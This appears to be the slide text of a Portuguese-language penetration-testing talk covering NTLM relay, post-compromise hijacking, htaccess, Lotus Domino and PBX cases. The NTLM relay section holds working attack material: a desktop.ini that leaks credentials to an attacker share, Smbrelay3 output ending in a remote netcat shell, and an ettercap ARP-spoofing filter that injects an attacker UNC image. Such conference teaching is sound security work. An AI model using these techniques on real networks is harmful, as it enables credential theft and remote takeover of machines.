Most people knows about pen-test strategy, but miss tactical

Quem sou eu ?

- Consultor independente.
- Afiliado ao Hackaholic.
- Mais de 7 anos na indústria de segurança.
- Descobri vulnerabilidades em Webmails, Access Points, Citrix Metaframe, etc.
- Palestrante no H2HC, Code Breakers, Defcon, etc.

Por que muitos pen-testers falham?

- Problemas de escopo do projeto e limitações.
- Conhecimento teórico, mas na pratica as coisas são diferentes.
- Tem uma boa estratégia, mas falta tática (sem exploits públicos ou 0days == no hack?).

E se o ambiente…

- Está com as últimas atualizações.
- Eu não tenho falhas privadas.

O jogo acabou?

CASE #01 - Servidor de arquivos público + NTLM relay.

- Windows Explorer é um “loader” poderoso.

```
[.ShellClassInfo]
InfoTip=Hacks
desktop.ini=@\\IPatacante\Upload,-1
InfoTip=@\IPatacante\Upload,-1
LocalizedResourceName=@\IPatacante\Upload,-1
IconFile=\IPatacante\Upload
IconIndex=-666
ConfirmFileOp=0
```

CASE #01 - Servidor de arquivos público + NTLM relay.

- + Smbrelay3:

```
 Listening HTTP thread at port 8080
Accepted Connection - Replaying against 192.168.151.2
Read First HTTP Request...
Sending Default HTTP 401 Error response and asking for authentiation NTLM
Read Second HTTP Request with Auhorization Header..
Init HTTP to SMB attack - Connecting with: 192.168.151.2:445
Sending SMB Authentication Handshake
Received SMB Message with NTLM v2 packet
Sending NTLM Challenge from SMB Server to the HTTP Client
Received Final Authentication packet from remote HTTP Client
UserName: Administrator
DomainName: 192.168.151.36
WorkstationName: SERVIDOR
Trying to authenticate to remote SMB as Administrador
Sending Final SMB Authentication packet with NTLM Message type 3
SessionSetupAndX Completed
Authenticacion against 192.168.151.2 Succeed with username Administrador
Connecting against IPC$
Trying to connect to admin$
Creating Remote File smrs.exe under admin$
Writing File smrs.exe into admin$
Closing File handle - FID: 800f
Opening Remote Service Control Manager pipe \svcctl
Sending RPC BindRequest to SCM pipe
Reading Response from Binding Request
Opening Remote Service Control Manager
Creating Remote Service
Opening Remote Service
Starting Remote Service...
Now Remote Service is executed... Try to connect to 192.168.151.2:8080

C:\smbrelay3>nc 192.168.151.2 8080
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>
```

CASE #01 - Servidor de arquivos público + NTLM relay.

- E o Microsoft patch MS08-068 ?

- Outros vetores:

- Shell pode não ser executada, mas você tem os hashes (sessão NTLM + Security).

- Downgrade de protocolo.

- Squirtle via XSS, etc.

CASE #01 - Servidor de arquivos público + NTLM relay.

- E se eu não tenho um servidor de arquivos público?

- Metódo tradicional: KISS (Keep It Simple Stupid).

```
1) if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
         # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("</body>", "<img src=\"\\\\192.168.151.112\\image.jpg\"> </body>" ");
   replace("</Body>", "<img src=\"\\\\192.168.151.112\\image.jpg\"> </body>" ");
   msg("Replace done.\n");
}

2) ettercap -T -q -F smb.ef -M ARP // // -P autoadd

3) Smbrelay3, etc.
```

CASE #02 – Acesso ao servidor como usuário comum e sem falhas conhecidas.

- FTS-WS-FakeSU.
- DirtyhNG.

CASE #02 – Acesso ao servidor como usuário comum e sem falhas conhecidas.

DEMO

CASE #02 – Acesso ao servidor como usuário comum e sem falhas conhecidas.

- Ataques post compromise (não necessariamente = usuário comum):

- SSH 'Jack

- PuttyHijack.

- Fake (sshclient|sshserver|login|etc).

- Outros.

CASE #03 – Autenticação via Apache (htaccess).

- Quem já utilizou autenticação via Apache?

```
AuthName "Area restrita"
AuthType Basic
AuthUserFile /usr/local/apache/sites/restrita/.htpasswd
<Limit GET>
require valid-user
</Limit>
```

CASE #03 – Autenticação via Apache (htaccess).

DEMO

CASE #04 – Lotus Domino.

- Enumerar contas.
- Obter uma conta válida.
- Obter hashes.
- Quebrar hashes.
- Acesso não autorizado.

CASE #04 – Lotus Domino.

DEMO #01

CASE #04 – Lotus Domino.

DEMO #02

CASE #05 – PaBX.

- Quão seguro é o meu PaBX?

- Mas não está conectado na internet.

- É uma blackbox e ninguém tem acesso.

- Eu tenho suporte do fabricante constantemente.

Logo estou seguro! ;-)

CASE #05 – PaBX.

DEMO #01

CASE #05 – PaBX.

DEMO #02

Dúvidas?

Obrigado!

wsguglielmetti [em] gmail.com